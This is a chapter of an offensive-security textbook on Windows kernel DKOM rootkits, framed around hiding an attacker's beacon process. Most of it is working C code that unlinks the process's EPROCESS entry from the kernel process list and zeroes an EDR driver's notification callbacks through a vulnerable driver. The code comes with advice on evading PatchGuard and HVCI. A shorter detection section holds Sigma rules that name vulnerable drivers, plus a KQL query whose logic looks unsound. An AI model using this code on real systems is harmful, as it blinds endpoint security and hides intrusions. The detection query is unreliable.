Chapter 168

Rootkit Techniques: Kernel-Mode DKOM

DKOM (Direct Kernel Object Manipulation) bypasses the limitations of user-mode rootkits by manipulating the actual kernel data structures that the OS uses for enumeration. An unlinked EPROCESS is invisible to every user-mode and kernel-mode enumeration API that walks the standard doubly-linked list. This chapter covers EPROCESS unlinking, handle table hiding, EDR callback removal, and the kernel defenses (HVCI, KPP) that limit these techniques on modern systems.

Scenario

You have kernel code execution via a BYOVD vulnerability (ch142 RTCore64.sys). Your beacon process is at PID 4492. You need to make it invisible to every enumeration — including EDR drivers that walk the kernel EPROCESS list — and simultaneously prevent the EDR's process notification callback from seeing the beacon's child process launches. Both require direct kernel data manipulation.

DKOM Concept

Kernel process list (EPROCESS.ActiveProcessLinks): PsInitialSystemProcess (PID 4) │ ActiveProcessLinks.Flink ▼ EPROCESS (PID 100) ←──→ EPROCESS (PID 200) ←──→ EPROCESS (PID 300) ▲ ▲ │ └───────────────────────────┘ │ ▼ EPROCESS (PID 4492 — beacon) After DKOM unlink: EPROCESS (PID 200) ←──→ EPROCESS (PID 300) (beacon EPROCESS.ActiveProcessLinks.Blink/Flink patched to skip itself) (beacon Blink/Flink still point to the list, but the list skips beacon) Result: NtQuerySystemInformation(SystemProcessInformation): PID 4492 absent PsGetNextProcess() (if implemented via ActiveProcessLinks): absent But: scheduler still knows about the process (KTHREAD, KPRCB) handles to the process still work ETW-TI events for the process still fire
// Requires kernel R/W primitive (e.g., RTCore64.sys from ch142).
// Offsets for Windows 10 22H2 x64 (verify with windbg: dt nt!_EPROCESS):
//   UniqueProcessId:    +0x440
//   ActiveProcessLinks: +0x448  (LIST_ENTRY: Flink at +0, Blink at +8)

#define OFF_PID   0x440
#define OFF_APL   0x448

// Using KernelRead/KernelWrite from ch142:

BOOL DkomUnlinkProcess(DWORD targetPid) {
    // Walk EPROCESS list from System to find target
    UINT64 systemEp = GetSystemEPROCESS();  // via PsInitialSystemProcess
    UINT64 cur = systemEp;

    do {
        UINT64 pid = KernelReadQ(cur + OFF_PID);
        if ((DWORD)pid == targetPid) {
            // Found target EPROCESS
            // APL.Flink points to next EPROCESS's APL (not EPROCESS base)
            // APL.Blink points to previous EPROCESS's APL
            UINT64 flink = KernelReadQ(cur + OFF_APL);        // next.APL
            UINT64 blink = KernelReadQ(cur + OFF_APL + 8);   // prev.APL

            // next.APL.Blink = prev.APL   (skip over us)
            KernelWriteQ(flink + 8, blink);
            // prev.APL.Flink = next.APL   (skip over us)
            KernelWriteQ(blink, flink);

            // Leave our own Flink/Blink intact so the beacon can still walk
            // the list if needed (our handles remain valid)
            return TRUE;
        }
        // Advance: APL.Flink - OFF_APL = next EPROCESS base
        UINT64 nextApl = KernelReadQ(cur + OFF_APL);
        cur = nextApl - OFF_APL;
    } while (cur != systemEp);

    return FALSE;
}
// Post-unlink consequences:
// - tasklist.exe, Process Explorer, NtQuerySystemInformation: invisible
// - Process still scheduled and runs normally
// - Handles to process still work — OpenProcess(pid) still succeeds
// - If EDR uses PsGetNextProcess: may still be visible (uses different walk)
// - BSOD risk if kernel code caches EPROCESS pointers to the unlinked entry

Hiding Handles from HANDLE_TABLE

// The kernel HANDLE_TABLE tracks all handles a process owns.
// NtQuerySystemInformation(SystemHandleInformation = 16) returns this table.
// Forensic tools use handle tables to correlate what resources a process holds.
// Hiding a handle: zero out the TABLE_ENTRY in the handle table.
// Requires knowing the handle table structure and the kernel R/W primitive.

// OBJECT_TABLE_ENTRY (simplified):
//   Object pointer (pointer-sized, with attribute bits)
//   GrantedAccess
// Located at: EPROCESS.ObjectTable → ExHandleTable → TableCode

// Practical note: handle table manipulation is complex and version-specific.
// More practical: use ObReferenceObjectByHandle patterns carefully to ensure
// the handle doesn't appear to tools that call NtQueryObject.

// Simpler alternative: close sensitive handles before entering a state
// where forensic tools might capture the handle table.
// E.g., close the parent process handle after injecting:
CloseHandle(hTargetProcess);  // handle gone from our table; injection complete

Removing EDR Notification Callbacks

// EDR drivers register callbacks via:
//   PsSetCreateProcessNotifyRoutine  → notified on every process create
//   PsSetCreateThreadNotifyRoutine   → notified on every thread create
//   PsSetLoadImageNotifyRoutine      → notified on every DLL/image load
//   ObRegisterCallbacks              → pre/post operation on object access
//
// These callbacks are stored in kernel arrays. With kernel R/W, we can
// find and zero out the EDR's callback to blind it.
//
// PspCreateProcessNotifyRoutine: undocumented kernel array
//   Located by: NtQuerySystemInformation(SystemProcessInformation) leak
//   Or: pattern scan in ntoskrnl for the array

// Method: scan ntoskrnl for PspCreateProcessNotifyRoutine pattern,
// then zero the EDR driver's entry.

// Simplified: find the callback array by scanning known pattern in ntoskrnl.
// (Full implementation requires ntoskrnl base + pattern scanning.
// See ch142 for GetNtoskrnlBase using NtQuerySystemInformation(11))

BOOL RemoveCallback(UINT64 ntoskrnlBase, UINT64 callbackArray,
                     const WCHAR* driverName) {
    for (int i = 0; i < 64; i++) {
        UINT64 entry = KernelReadQ(callbackArray + i * 8);
        if (!entry) continue;

        // EX_CALLBACK_ROUTINE_BLOCK → Function + Context
        // The callback pointer contains the module base + offset
        // Identify by cross-referencing with loaded module list (PsLoadedModuleList)
        UINT64 fnPtr = entry & ~0xF;  // clear low bits (tag)

        // Check which driver owns this callback (compare against loaded modules)
        // If it matches our target EDR driver, zero the entry:
        if (IsAddressInDriver(fnPtr, driverName)) {
            KernelWriteQ(callbackArray + i * 8, 0);
            return TRUE;
        }
    }
    return FALSE;
}
// Detection: KPP (Kernel Patch Protection / PatchGuard) on Windows
// periodically verifies the integrity of these callback arrays.
// Modifying them triggers a PatchGuard check failure → BSOD (0x109).
// PatchGuard checks are on a timer and check randomized targets —
// there is a window between checks where the modification is live.
// The BSOD risk is real: this technique is inherently unstable.

HVCI and Kernel CFG Constraints

HVCI (Hypervisor-Protected Code Integrity): - Runs in VTL1 (Secure World) via hypervisor - Enforces: no executable kernel pages that aren't signed by Microsoft - Prevents: loading unsigned kernel drivers entirely - Prevents: using BYOVD to map shellcode into kernel as executable What HVCI blocks (for DKOM attackers): ✗ Mapping custom shellcode as kernel-mode executable pages ✗ Loading unsigned drivers via NtLoadDriver ✗ Modifying code in signed drivers (code pages are read-only) What HVCI does NOT block (data-only attacks remain possible): ✓ Using a signed vulnerable driver's IOCTL for kernel R/W primitive ✓ DKOM: modifying EPROCESS.ActiveProcessLinks (data, not code) ✓ Zeroing callback function pointers (pointers are data) ✓ Token theft via ActiveProcessLinks walk KPP (PatchGuard): - Periodic integrity checks of kernel code + specific data structures - Checks: IDT, GDT, kernel callback arrays, critical code sections - Trigger: BSOD 0x109 (CRITICAL_STRUCTURE_CORRUPTION) - Timing: randomized; window between checks is minutes to hours - Does NOT check: EPROCESS.ActiveProcessLinks (DKOM still works) - DOES check: callback arrays like PspCreateProcessNotifyRoutine Practical 2026 DKOM strategy: - BYOVD for kernel R/W (HVCI limits driver loading options) - EPROCESS unlink: safe from PatchGuard (APL not checked) - Callback removal: risky (array is checked by PatchGuard) - Prefer: callback filtering via kernel hook if possible

Detection Engineering

title: Process in Kernel Callback but Missing from NtQSI (DKOM Indicator)
logsource:
  product: custom_edr
  category: cross_view
detection:
  selection:
    EventType: 'ProcessListMismatch'
    KernelCount|gt: UserModeCount
  condition: selection
level: critical
note: Requires EDR with kernel driver that independently enumerates processes

title: BYOVD — Vulnerable Driver Loaded (DKOM Prerequisite)
logsource:
  product: windows
  category: driver_load
detection:
  selection:
    ImageLoaded|endswith:
      - '\RTCore64.sys'
      - '\gdrv.sys'
      - '\iqvw64e.sys'
      - '\zam64.sys'
      - '\Truesight.sys'
  condition: selection
level: critical
tags: [attack.privilege_escalation, T1068]

-- MDE KQL: detect process creation without corresponding ETW-TI create event
-- Indicates callback removal or DKOM before ETW-TI fires (advanced)
let kernel_creates = DeviceProcessEvents
    | where ActionType == "ProcessCreated"
    | project DeviceName, ProcessId, Timestamp;
let nt_qsi_visible = DeviceProcessEvents
    | where ActionType == "ProcessCreated"
    | where isnotempty(InitiatingProcessFileName)
    | project DeviceName, ProcessId;
kernel_creates
| join kind=leftanti nt_qsi_visible on DeviceName, ProcessId
| project Timestamp, DeviceName, ProcessId

Q&A

Why does DKOM via EPROCESS unlinking survive PatchGuard while removing notification callbacks does not?

PatchGuard (Kernel Patch Protection) does not check every kernel data structure — that would be computationally prohibitive. Instead, it maintains a curated list of critical structures that are known to be security-relevant, hashes them periodically, and BSODs if the hash changes unexpectedly. The list includes the IDT (Interrupt Descriptor Table), the GDT (Global Descriptor Table), critical kernel code sections, and specifically the callback arrays used by security software: PspCreateProcessNotifyRoutine, PspCreateThreadNotifyRoutine, and PspLoadImageNotifyRoutine.

EPROCESS.ActiveProcessLinks is not on PatchGuard's check list. The active process list is a dynamic data structure that changes constantly during normal operation — processes are created and terminated continuously, and each operation modifies the linked list. PatchGuard cannot hash a dynamic structure that changes thousands of times per minute. Therefore, DKOM unlinking of the ActiveProcessLinks field survives indefinitely — PatchGuard never fires because it never checks it.

The notification callback arrays, by contrast, are designed to be largely static during operation. EDR callbacks are registered once at driver load time and almost never change during normal operation. PatchGuard can hash these arrays at boot, store the expected value, and periodically recompute. When a DKOM technique zeros a callback entry, the hash changes, PatchGuard detects the change on its next check cycle (which fires within a randomized window of minutes to hours), and triggers CRITICAL_STRUCTURE_CORRUPTION (Bug Check 0x109). The BSOD is both the detection signal and the attacker's failure — making callback removal significantly more dangerous to use in practice than EPROCESS unlinking.